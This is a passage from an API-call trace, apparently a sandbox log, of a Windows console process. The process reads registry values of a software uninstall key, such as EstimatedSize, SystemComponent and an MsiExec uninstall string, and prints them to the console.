() returned 0x1b5 [0149.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.994] GetConsoleOutputCP () returned 0x1b5 [0149.994] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.994] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.994] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.994] __iob_func () returned 0x7fefd702a80 [0149.994] _fileno (_File=0x7fefd702ab0) returned 1 [0149.994] _errno () returned 0x204bb0 [0149.994] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.995] _errno () returned 0x204bb0 [0149.995] GetFileType (hFile=0x50) returned 0x1 [0149.995] lstrlenW (lpString="") returned 0 [0149.995] __iob_func () returned 0x7fefd702a80 [0149.995] _fileno (_File=0x7fefd702ab0) returned 1 [0149.995] _errno () returned 0x204bb0 [0149.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.995] _errno () returned 0x204bb0 [0149.995] GetFileType (hFile=0x50) returned 0x1 [0149.995] lstrlenW (lpString="\n") returned 1 [0149.995] GetConsoleOutputCP () returned 0x1b5 [0149.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.995] GetConsoleOutputCP () returned 0x1b5 [0149.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.995] GetProcessHeap () returned 0x3c0000 [0149.995] GetProcessHeap () returned 0x3c0000 [0149.995] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.995] GetProcessHeap () returned 0x3c0000 [0149.995] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.995] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.995] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.995] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.995] GetProcessHeap () returned 0x3c0000 [0149.995] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.996] GetProcessHeap () returned 0x3c0000 [0149.996] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.996] GetProcessHeap () returned 0x3c0000 [0149.996] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.996] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x2758, pcbData=0x29f780*=0x4) returned 0x0 [0149.996] __iob_func () returned 0x7fefd702a80 [0149.996] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.996] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.996] _fileno (_File=0x7fefd702ab0) returned 1 [0149.996] _errno () returned 0x204bb0 [0149.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.996] _errno () returned 0x204bb0 [0149.996] GetFileType (hFile=0x50) returned 0x1 [0149.996] lstrlenW (lpString=" ") returned 4 [0149.996] GetConsoleOutputCP () returned 0x1b5 [0149.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.996] GetConsoleOutputCP () returned 0x1b5 [0149.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.996] lstrlenW (lpString="EstimatedSize") returned 13 [0149.996] __iob_func () returned 0x7fefd702a80 [0149.996] _fileno (_File=0x7fefd702ab0) returned 1 [0149.996] _errno () returned 0x204bb0 [0149.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.996] _errno () returned 0x204bb0 [0149.996] GetFileType (hFile=0x50) returned 0x1 [0149.997] lstrlenW (lpString="EstimatedSize") returned 13 [0149.997] GetConsoleOutputCP () returned 0x1b5 [0149.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.997] GetConsoleOutputCP () returned 0x1b5 [0149.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.997] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.997] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.997] __iob_func () returned 0x7fefd702a80 [0149.997] _fileno (_File=0x7fefd702ab0) returned 1 [0149.997] _errno () returned 0x204bb0 [0149.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.997] _errno () returned 0x204bb0 [0149.997] GetFileType (hFile=0x50) returned 0x1 [0149.997] lstrlenW (lpString=" ") returned 4 [0149.997] GetConsoleOutputCP () returned 0x1b5 [0149.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.997] GetConsoleOutputCP () returned 0x1b5 [0149.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.997] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.997] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.998] __iob_func () returned 0x7fefd702a80 [0149.998] _fileno (_File=0x7fefd702ab0) returned 1 [0149.998] _errno () returned 0x204bb0 [0149.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.998] _errno () returned 0x204bb0 [0149.998] GetFileType (hFile=0x50) returned 0x1 [0149.998] lstrlenW (lpString="REG_DWORD") returned 9 [0149.998] GetConsoleOutputCP () returned 0x1b5 [0149.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.998] GetConsoleOutputCP () returned 0x1b5 [0149.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.998] __iob_func () returned 0x7fefd702a80 [0149.998] _fileno (_File=0x7fefd702ab0) returned 1 [0149.998] _errno () returned 0x204bb0 [0149.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.998] _errno () returned 0x204bb0 [0149.998] GetFileType (hFile=0x50) returned 0x1 [0149.998] lstrlenW (lpString=" ") returned 4 [0149.998] GetConsoleOutputCP () returned 0x1b5 [0149.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.999] GetConsoleOutputCP () returned 0x1b5 [0149.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.999] __iob_func () returned 0x7fefd702a80 [0149.999] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.999] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x2758") returned 6 [0149.999] _fileno (_File=0x7fefd702ab0) returned 1 [0149.999] _errno () returned 0x204bb0 [0149.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.999] _errno () returned 0x204bb0 [0149.999] GetFileType (hFile=0x50) returned 0x1 [0149.999] lstrlenW (lpString="0x2758") returned 6 [0149.999] GetConsoleOutputCP () returned 0x1b5 [0149.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2758", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.999] GetConsoleOutputCP () returned 0x1b5 [0149.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2758", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2758", lpUsedDefaultChar=0x0) returned 6 [0149.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.999] __iob_func () returned 0x7fefd702a80 [0149.999] _fileno (_File=0x7fefd702ab0) returned 1 [0149.999] _errno () returned 0x204bb0 [0149.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.000] _errno () returned 0x204bb0 [0150.000] GetFileType (hFile=0x50) returned 0x1 [0150.000] lstrlenW (lpString="\n") returned 1 [0150.000] GetConsoleOutputCP () returned 0x1b5 [0150.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.000] GetConsoleOutputCP () returned 0x1b5 [0150.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.000] GetProcessHeap () returned 0x3c0000 [0150.000] GetProcessHeap () returned 0x3c0000 [0150.000] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.000] GetProcessHeap () returned 0x3c0000 [0150.000] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.000] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.000] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.000] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.000] GetProcessHeap () returned 0x3c0000 [0150.000] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.000] GetProcessHeap () returned 0x3c0000 [0150.000] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.000] GetProcessHeap () returned 0x3c0000 [0150.000] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.000] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.000] __iob_func () returned 0x7fefd702a80 [0150.001] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.001] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.001] _fileno (_File=0x7fefd702ab0) returned 1 [0150.001] _errno () returned 0x204bb0 [0150.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.001] _errno () returned 0x204bb0 [0150.001] GetFileType (hFile=0x50) returned 0x1 [0150.001] lstrlenW (lpString=" ") returned 4 [0150.001] GetConsoleOutputCP () returned 0x1b5 [0150.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.001] GetConsoleOutputCP () returned 0x1b5 [0150.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.001] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.002] lstrlenW (lpString="SystemComponent") returned 15 [0150.002] __iob_func () returned 0x7fefd702a80 [0150.002] _fileno (_File=0x7fefd702ab0) returned 1 [0150.002] _errno () returned 0x204bb0 [0150.002] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.002] _errno () returned 0x204bb0 [0150.002] GetFileType (hFile=0x50) returned 0x1 [0150.002] lstrlenW (lpString="SystemComponent") returned 15 [0150.002] GetConsoleOutputCP () returned 0x1b5 [0150.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.002] GetConsoleOutputCP () returned 0x1b5 [0150.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0150.002] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.002] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.002] __iob_func () returned 0x7fefd702a80 [0150.002] _fileno (_File=0x7fefd702ab0) returned 1 [0150.002] _errno () returned 0x204bb0 [0150.002] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.002] _errno () returned 0x204bb0 [0150.002] GetFileType (hFile=0x50) returned 0x1 [0150.002] lstrlenW (lpString=" ") returned 4 [0150.002] GetConsoleOutputCP () returned 0x1b5 [0150.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.003] GetConsoleOutputCP () returned 0x1b5 [0150.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.003] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.003] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.003] __iob_func () returned 0x7fefd702a80 [0150.003] _fileno (_File=0x7fefd702ab0) returned 1 [0150.003] _errno () returned 0x204bb0 [0150.003] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.003] _errno () returned 0x204bb0 [0150.003] GetFileType (hFile=0x50) returned 0x1 [0150.003] lstrlenW (lpString="REG_DWORD") returned 9 [0150.003] GetConsoleOutputCP () returned 0x1b5 [0150.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.003] GetConsoleOutputCP () returned 0x1b5 [0150.003] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.003] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.003] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.003] __iob_func () returned 0x7fefd702a80 [0150.003] _fileno (_File=0x7fefd702ab0) returned 1 [0150.004] _errno () returned 0x204bb0 [0150.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.004] _errno () returned 0x204bb0 [0150.004] GetFileType (hFile=0x50) returned 0x1 [0150.004] lstrlenW (lpString=" ") returned 4 [0150.004] GetConsoleOutputCP () returned 0x1b5 [0150.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.004] GetConsoleOutputCP () returned 0x1b5 [0150.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.004] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.004] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.004] __iob_func () returned 0x7fefd702a80 [0150.004] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.004] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.004] _fileno (_File=0x7fefd702ab0) returned 1 [0150.004] _errno () returned 0x204bb0 [0150.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.004] _errno () returned 0x204bb0 [0150.004] GetFileType (hFile=0x50) returned 0x1 [0150.004] lstrlenW (lpString="0x1") returned 3 [0150.004] GetConsoleOutputCP () returned 0x1b5 [0150.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.004] GetConsoleOutputCP () returned 0x1b5 [0150.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.005] __iob_func () returned 0x7fefd702a80 [0150.005] _fileno (_File=0x7fefd702ab0) returned 1 [0150.005] _errno () returned 0x204bb0 [0150.005] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.005] _errno () returned 0x204bb0 [0150.005] GetFileType (hFile=0x50) returned 0x1 [0150.005] lstrlenW (lpString="\n") returned 1 [0150.005] GetConsoleOutputCP () returned 0x1b5 [0150.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.005] GetConsoleOutputCP () returned 0x1b5 [0150.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.005] GetProcessHeap () returned 0x3c0000 [0150.005] GetProcessHeap () returned 0x3c0000 [0150.005] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.005] GetProcessHeap () returned 0x3c0000 [0150.005] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.005] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.006] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.006] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.006] GetProcessHeap () returned 0x3c0000 [0150.006] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.006] GetProcessHeap () returned 0x3c0000 [0150.006] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.006] GetProcessHeap () returned 0x3c0000 [0150.006] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.006] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.006] __iob_func () returned 0x7fefd702a80 [0150.006] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.006] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.006] _fileno (_File=0x7fefd702ab0) returned 1 [0150.006] _errno () returned 0x204bb0 [0150.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.006] _errno () returned 0x204bb0 [0150.006] GetFileType (hFile=0x50) returned 0x1 [0150.006] lstrlenW (lpString=" ") returned 4 [0150.006] GetConsoleOutputCP () returned 0x1b5 [0150.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.006] GetConsoleOutputCP () returned 0x1b5 [0150.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.007] lstrlenW (lpString="UninstallString") returned 15 [0150.007] __iob_func () returned 0x7fefd702a80 [0150.007] _fileno (_File=0x7fefd702ab0) returned 1 [0150.007] _errno () returned 0x204bb0 [0150.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.007] _errno () returned 0x204bb0 [0150.007] GetFileType (hFile=0x50) returned 0x1 [0150.007] lstrlenW (lpString="UninstallString") returned 15 [0150.007] GetConsoleOutputCP () returned 0x1b5 [0150.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 